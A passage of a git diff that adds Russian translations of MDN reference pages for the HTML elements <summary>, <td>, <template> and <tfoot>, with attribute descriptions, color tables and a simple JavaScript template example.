+   <th scope="row">Permitted ARIA roles</th>
+   <td>{{ARIARole("button")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает только <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Содержимым элемента <code>&lt;summary&gt;</code>  может быть любой заголовок, простой текст или HTML, которые можно использовать в абзаце.</p>
+
+<p>Элемент <code>&lt;summary&gt;</code> может быть использован в качестве потомка элемента <code>&lt;details&gt;</code> . Когда пользователь кликает по элементу summary, его родитель  - <code>&lt;details&gt;</code> меняет состояние с раскрытого или закрытого на обратное,и тогда {{event("toggle")}} event is sent to the <code>&lt;details&gt;</code> element, which can be used to let you know when this state change occurs.</p>
+
+<h3 id="Default_label_text">Default label text</h3>
+
+<p>If a <code>&lt;details&gt;</code> element's first child is not a <code>&lt;summary&gt;</code> element, the {{Glossary("user agent")}} will use a default string (typically "Details") as the label for the disclosure box.</p>
+
+<h3 id="Default_style">Default style</h3>
+
+<p>Per the HTML specification, the default style for <code>&lt;summary&gt;</code> elements includes <code>display: list-item</code>. This makes it possible to change or remove the icon displayed as the disclosure widget next to the label from the default, which is typically a triangle.</p>
+
+<p>You can also change the style to <code>display: block</code> to remove the disclosure triangle.</p>
+
+<p>See the {{anch("Browser compatibility")}} section for details, as not all browsers support full functionality of this element yet.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Below are some examples showing <code>&lt;summary&gt;</code> in use. You can find more examples in the documentation for the {{HTMLElement("details")}} element.</p>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<p>A simple example showing the use of <code>&lt;summary&gt;</code> in a {{HTMLElement("details")}} element:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;Overview&lt;/summary&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+    &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+    &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("Basic_example", 650, 120)}}</p>
+
+<h3 id="Summaries_as_headings">Summaries as headings</h3>
+
+<p>You can use heading elements in <code>&lt;summary&gt;</code>, like this:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;&lt;h4&gt;Overview&lt;/h4&gt;&lt;/summary&gt;
+    &lt;ol&gt;
+    &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+    &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+    &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("Summaries_as_headings", 650, 120)}}</p>
+
+<p>This currently has some spacing issues that could be addressed using CSS.</p>
+
+<h3 id="HTML_in_summaries">HTML in summaries</h3>
+
+<p>This example adds some semantics to the <code>&lt;summary&gt;</code> element to indicate the label as important:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/summary&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+    &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+    &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("HTML_in_summaries", 650, 120)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.summary")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("details")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/td/index.html b/files/ru/web/html/element/td/index.html
new file mode 100644
index 0000000000..b32c32037d
--- /dev/null
+++ b/files/ru/web/html/element/td/index.html
@@ -0,0 +1,205 @@
+---
+title: '<td>: элемент ячейки таблицы данных'
+slug: Web/HTML/Element/td
+translation_of: Web/HTML/Element/td
+---
+<p><strong>HTML элемент <code>&lt;td&gt;</code></strong> определяет ячейку таблицы которая содержит данные. Участвует в <em>табличной модели</em>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категория контента</a></th>
+   <td>None.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимое содержимое</th>
+   <td>Содержимое поток.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Начальный тег обязательный.<br>
+    Закрывающий тег может быть пропущен, если сразу за ним следует элемент {{HTMLElement("th")}} или {{HTMLElement("td")}}, или если больше нет данных в его родительском элементе.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Элемент {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLTableDataCellElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент содержит <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Этот аргумент содержит краткое описание содержимого в ячейке. Некотрые устройства для чтения могут подставлять это описание перед самим содержимым ячейки.
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, поскольку он устарел в последнем стандарте. Вместо этого рассмотрите возможность использования атрибута <strong>title</strong>.</div>
+ </dd>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Это перечисляемый атрибут указывает каким будет горизонтальное выравнивание содержимого каждой ячейки. Возможные значения:
+ <ul>
+  <li><code>left</code>, выравнивание содержимого слева ячейки</li>
+  <li><code>center</code>, центрирвание контента в ячейке</li>
+  <li><code>right</code>, выравнивание контента справа ячейки</li>
+  <li><code>justify</code>, вставляет пробелы в текстовое содержимое ячейки, чтобы содержимое заняло ячейку</li>
+  <li><code>char</code>, выравнивает текстовое содержимое по заданному символу с минимальным смещением, определяется атрибутами {{htmlattrxref("char", "td")}} и {{htmlattrxref("charoff", "td")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Если этот атрибут не задан, значение по умолчанию <code>left</code>.</p>
+
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел (не поддерживается) в последней версии стандарта.
+
+ <ul>
+  <li>Чтобы добиться такого же эффекта как при <code>left</code>, <code>center</code>, <code>right</code> или <code>justify</code> значениях, используйте их как параметры CSS свойства {{cssxref("text-align")}}.</li>
+  <li>Чтобы добиться эффеккта как <code>char</code> значение в CSS3,  вы можете использовать значение {{htmlattrxref("char", "td")}} как значение свойства {{cssxref("text-align")}} {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Этот атрибут включает список строк разделенных пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок.
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел в последней версии стандарта: вместо этого используйте атрибут {{htmlattrxref("scope", "td")}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Этот атрибут определяет цвет фона ячейки. Значением задается 6-значными шестнадцатиричными кодами как определено в <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с префиксом '#'. Можно также использовать предопределенные цветовые строки, например:
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Примечание использования:</strong> Не ипользуйте этот атрибут, поскольку он нестандартный: элемент {{HTMLElement("td")}} должен быть стилизован с помощью <a href="/en-US/docs/CSS">CSS</a>. Чтобы получить аналогичный эффект как атрибут <strong>bgcolor</strong>, используйте <a href="/en-US/docs/Web/CSS">CSS</a> свойство {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Этот атрибут используется для определения символа по которому происходит выравнивание в ячейке. Типичный случай когда для него задают значение периода (.) когда необходимо выровнять числовые или денежные значеия. Если {{htmlattrxref("align", "td")}} не задан. то атрибут <code>char</code> игнорируется.
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, тк он устарел (и больше не поддерживется) в последней версии стандарта. Достигнуть такого же эффекта как от {{htmlattrxref("char", "thead")}}, в CSS3 вы можете you can use the character set using the {{htmlattrxref("char", "th")}} attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Этот атрибут атрибут включает количество символов на которое смещаются при выравнивании данные от установленного <strong>char</strong> атрибута.
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел (не поддерживается) в последней версии стандарта.</div>
+ </dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>Этот атрибут содержит положительное целое число указывающее сколько столбцов необходимо объединить. По умолчанию значение равно <code>1</code>. Значения больше 1000 будет считаться некорректным и будет использовать значение по умолчанию (1).</dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>Этот атрибут содержит список срок разделенных пробелами, каждая соответствует <strong>id</strong> атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>Этот атрибут содержит положительное целое число указывающее какое количество строк  необходимо объеденить. По умолчанию значение равно<code>1</code>; Если его значение <code>0</code>, тогда его действие распространяется до конца табличной секции ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, даже если неявно определено чему ячейка принадлежит. Значения выше 65534 сокращаются до 65534.</dd>
+ <dt>{{htmlattrdef("scope")}} {{obsolete_inline("html5")}}</dt>
+ <dd> </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Этот атрибут определяет вертикальное выравнивание текста в ячейке. Возможные значения атрибута:
+ <ul>
+  <li><code>baseline</code>, поместит текст ближе к нижней части ячейки, но выровняет его по <a href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">базовой линии</a> символов, а не нижней линии. Если все символы одного размера, тогда имеет такой же эффект как <code>bottom</code>.</li>
+  <li><code>bottom</code>, поместит текст как можно ближе к нижней части ячейки</li>
+  <li><code>middle</code>, выравнивает текст по центру ячейки</li>
+  <li>и <code>top</code>, который будет выравнивать текст как можно ближе к верхней части ячейки.</li>
+ </ul>
+
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел (не поддерживается) в последней версии стандарта: вместо этого используйте CSS свойство {{cssxref("vertical-align")}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Этот атрибут устанавливает рекомендуемую ширину ячейки. Свойства <a href="/en-US/docs/Web/API/HTMLTableElement/cellSpacing">cellspacing</a> и <a href="/en-US/docs/Web/API/HTMLTableElement/cellPadding">cellpadding</a>  могут добавить дополнительное пространство и ширина элемента {{HTMLElement("col")}} может иметь некоторый эффект.  Обычно если ширина столбца слишком узкая чтобы показать конкретную ячейку должным образом, она может быть расширена при отображении.
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел в последней версии стандарта: вместо этого используйте CSS свойство {{cssxref("width")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Смотрите страницу {{HTMLElement("table")}} с примерами <code>&lt;td&gt;</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-td-element','td element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-td-element','td element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.td")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие табличные HTML элементы: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/template/index.html b/files/ru/web/html/element/template/index.html
new file mode 100644
index 0000000000..7b45766c33
--- /dev/null
+++ b/files/ru/web/html/element/template/index.html
@@ -0,0 +1,156 @@
+---
+title: <template>
+slug: Web/HTML/Element/template
+tags:
+  - Элемент
+translation_of: Web/HTML/Element/template
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML элемент контент шаблона  <code>&lt;template&gt;</code></strong> - это механизм для отложенного создания клиентского контента, который не отображается во время загрузки, но может быть инициализирован при помощи JavaScript.</span></p>
+
+<p>Шаблон можно представить себе как фрагмент контента, сохранённый для последующего использования в документе. Хотя парсер и обрабатывает содержимое элемента <code>&lt;template&gt;</code> во время загрузки страницы, он делает это только чтобы убедиться в валидности содержимого; само содержимое при этом не отображается.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Metadata_content">Metadata content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Script-supporting_elements">script-supporting element</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимый контент</th>
+   <td>Нет ограничений</td>
+  </tr>
+  <tr>
+   <th scope="row">Закрывающий тег</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Metadata_content">metadata content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, or <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Script-supporting_elements">script-supporting elements</a>. Also allowed as a child of a {{HTMLElement("colgroup")}} element that does <em>not</em> have a {{htmlattrxref("span", "colgroup")}} attribute.</td>
+  </tr>
+  <tr>
+   <th scope="row">Неявные роли ARIA</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Отсутствует</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLTemplateElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Элемент может иметь <a href="/en-US/docs/Web/HTML/Global_attributes">общие атрибуты</a>.</p>
+
+<p>Также есть доступный только для чтения атрибут <code>content</code>, который предоставляет доступ к содержимому шаблона. Проверка на наличие этого атрибута является распространённым способом определить, поддерживает ли браузер элемент <code>&lt;template&gt;</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Начнём с HTML.</p>
+
+<pre class="brush: html">&lt;table id="producttable"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;td&gt;UPC_Code&lt;/td&gt;
+      &lt;td&gt;Product_Name&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;!-- existing data could optionally be included here --&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;template id="productrow"&gt;
+  &lt;tr&gt;
+    &lt;td class="record"&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Для начала у нас есть таблица, в которую мы собираемся вставить содержимое с помощью Javascript кода. Затем следует шаблон, который описывает структуру HTML фрагмента представляющего одну строку таблицы</p>
+
+<p>Теперь, когда таблица была создана и шаблон определён, мы используем JavaScript чтобы вставить строки в таблицу. Каждая строка строится с использованием шаблона.</p>
+
+<pre class="brush:js;">// Проверяем поддерживает ли браузер тег &lt;template&gt;
+// проверив наличие аттрибута content у элемента template
+if ('content' in document.createElement('template')) {
+
+  // Instantiate the table with the existing HTML tbody and the row with the template
+  var t = document.querySelector('#productrow'),
+  td = t.content.querySelectorAll("td");
+  td[0].textContent = "1235646565";
+  td[1].textContent = "Stuff";
+
+  // клонируем новую строку и вставляем её в таблицу
+  var tb = document.getElementsByTagName("tbody");
+  var clone = document.importNode(t.content, true);
+  tb[0].appendChild(clone);
+
+  // создаём новую строку
+  td[0].textContent = "0384928528";
+  td[1].textContent = "Acme Kidney Beans";
+
+ // клонируем новую строку и вставляем её в таблицу
+  var clone2 = document.importNode(t.content, true);
+  tb[0].appendChild(clone2);
+
+} else {
+  // необходимо найти другой способ добавить строку в таблицу т.к.
+  // тег &lt;template&gt; не поддерживатся браузером
+}
+</pre>
+
+<p>Как результат имеем HTML таблицу с двумя новыми строками добавленными с помощью JavaScript:</p>
+
+<div class="hidden">
+<pre class="brush: css">table {
+  background: #000;
+}
+table td {
+  background: #fff;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example", 500, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("html.elements.template")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Веб компоненты: {{HTMLElement("slot")}} (и устаревший: {{HTMLElement("shadow")}})</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Использование шаблонов и слотов</a></li>
+</ul>
diff --git a/files/ru/web/html/element/tfoot/index.html b/files/ru/web/html/element/tfoot/index.html
new file mode 100644
index 0000000000..3f5d5fbf5c
--- /dev/null
+++ b/files/ru/web/html/element/tfoot/index.html
@@ -0,0 +1,273 @@
+---
+title: <tfoot>
+slug: Web/HTML/Element/tfoot
+tags:
+  - HTML
+  - Tables
+  - Web
+translation_of: Web/HTML/Element/tfoot
+---
+<p id="Summary"><em>HTML </em>элемент подвала таблицы (<code>&lt;tfoot&gt;</code>) определяющий набор строк суммирующих столбцы таблицы.</p>
+
+<h2 id="Используемый_контекст">Используемый контекст</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><a href="/en/HTML/Content_categories" title="en/HTML/Content categories">Content categories</a></td>
+   <td>None.</td>
+  </tr>
+  <tr>
+   <td>Допустимое содержание</td>
+   <td>Ноль или более {{ HTMLElement("tr") }} элементов.</td>
+  </tr>
+  <tr>
+   <td>Tag omission</td>
+   <td>The <span title="syntax-start-tag">start tag</span> is mandatory. The end tag may be omitted if the {{ HTMLElement("tbody") }} element is immediately followed by an, eventually implicitly-defined, {{ HTMLElement("tbody") }}, or if there is no more content in the parent {{ HTMLElement("table") }} element.</td>
+  </tr>
+  <tr>
+   <td>Разрешенные родительские элементы</td>
+   <td> A {{ HTMLElement("table") }} element. The {{ HTMLElement("tfoot") }} must appear after any {{ HTMLElement("caption") }}, {{ HTMLElement("colgroup") }} or {{ HTMLElement("thead") }} element. It can be before or after all {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} elements, but not intermixed with them.<br>
+    {{ HTMLVersionInline("4") }} The {{ HTMLElement("tfoot") }} element cannot be placed after any {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} element. This restriction has been softened in HTML5.</td>
+  </tr>
+  <tr>
+   <td>Нормативные документы</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-tfoot-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-tfoot-element">HTML5, section 4.9.7</a> (<a class="external" href="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.2.3" title="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.2.3">HTML4.01, section 11.2.3</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Этот элемент включает в себя </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{ htmlattrdef("align") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}</dt>
+ <dd>Этот атрибут определяет горизонтальное выравнивание содержимого каждой ячейки. Возможные значения:
+ <ul>
+  <li><span style="font-family: courier new;">left</span>, выравнивание содержимого по левому краю ячейки</li>
+  <li><span style="font-family: courier new;">center</span>, выравнивание содержимого по центру ячейки</li>
+  <li><span style="font-family: courier new;">right</span>, выравнивание содержимого по правому краю ячейки</li>
+  <li><span style="font-family: courier new;">justify</span>, выравнивание по ширине ячейки: добавление пробелов к тексту содержимого ячейки до тех пор, пока содержимое не выровняется от одного края ячейки до другого</li>
+  <li><span style="font-family: courier new;">char</span>, выравнивание текстового содержимого по специальному символу с минимальным смещением, определенным {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} аттрибутами {{ unimplemented_inline("2212") }}.</li>
+ </ul>
+
+ <p>Если этот аттрибут не задан, то значением по умолчанию является <span style="font-family: courier new;">left</span>.</p>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+  <li>To achieve the same effect as the <span style="font-family: courier new;">left</span>, <span style="font-family: courier new;">center</span>, <span style="font-family: courier new;">right</span> or <span style="font-family: courier new;">justify</span> values, use the CSS {{ cssxref("text-align") }} property on it.</li>
+  <li>To achieve the same effect as the <span style="font-family: courier new;">char</span> value, in CSS3, you can use the value of the {{ htmlattrxref("char", "tfoot") }} as the value of the {{ cssxref("text-align") }} property {{ unimplemented_inline() }}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}</dt>
+ <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шеснадцатиричного кода определенного в <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, предваряется '#'. Может быть использован один из шестнадцати предопределенных строк:
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">black</span> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">green</span> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">silver</span> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">lime</span> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">gray</span> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">olive</span> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">white</span> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">yellow</span> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">maroon</span> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">navy</span> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">red</span> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">blue</span> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">purple</span> = "#800080"</td>
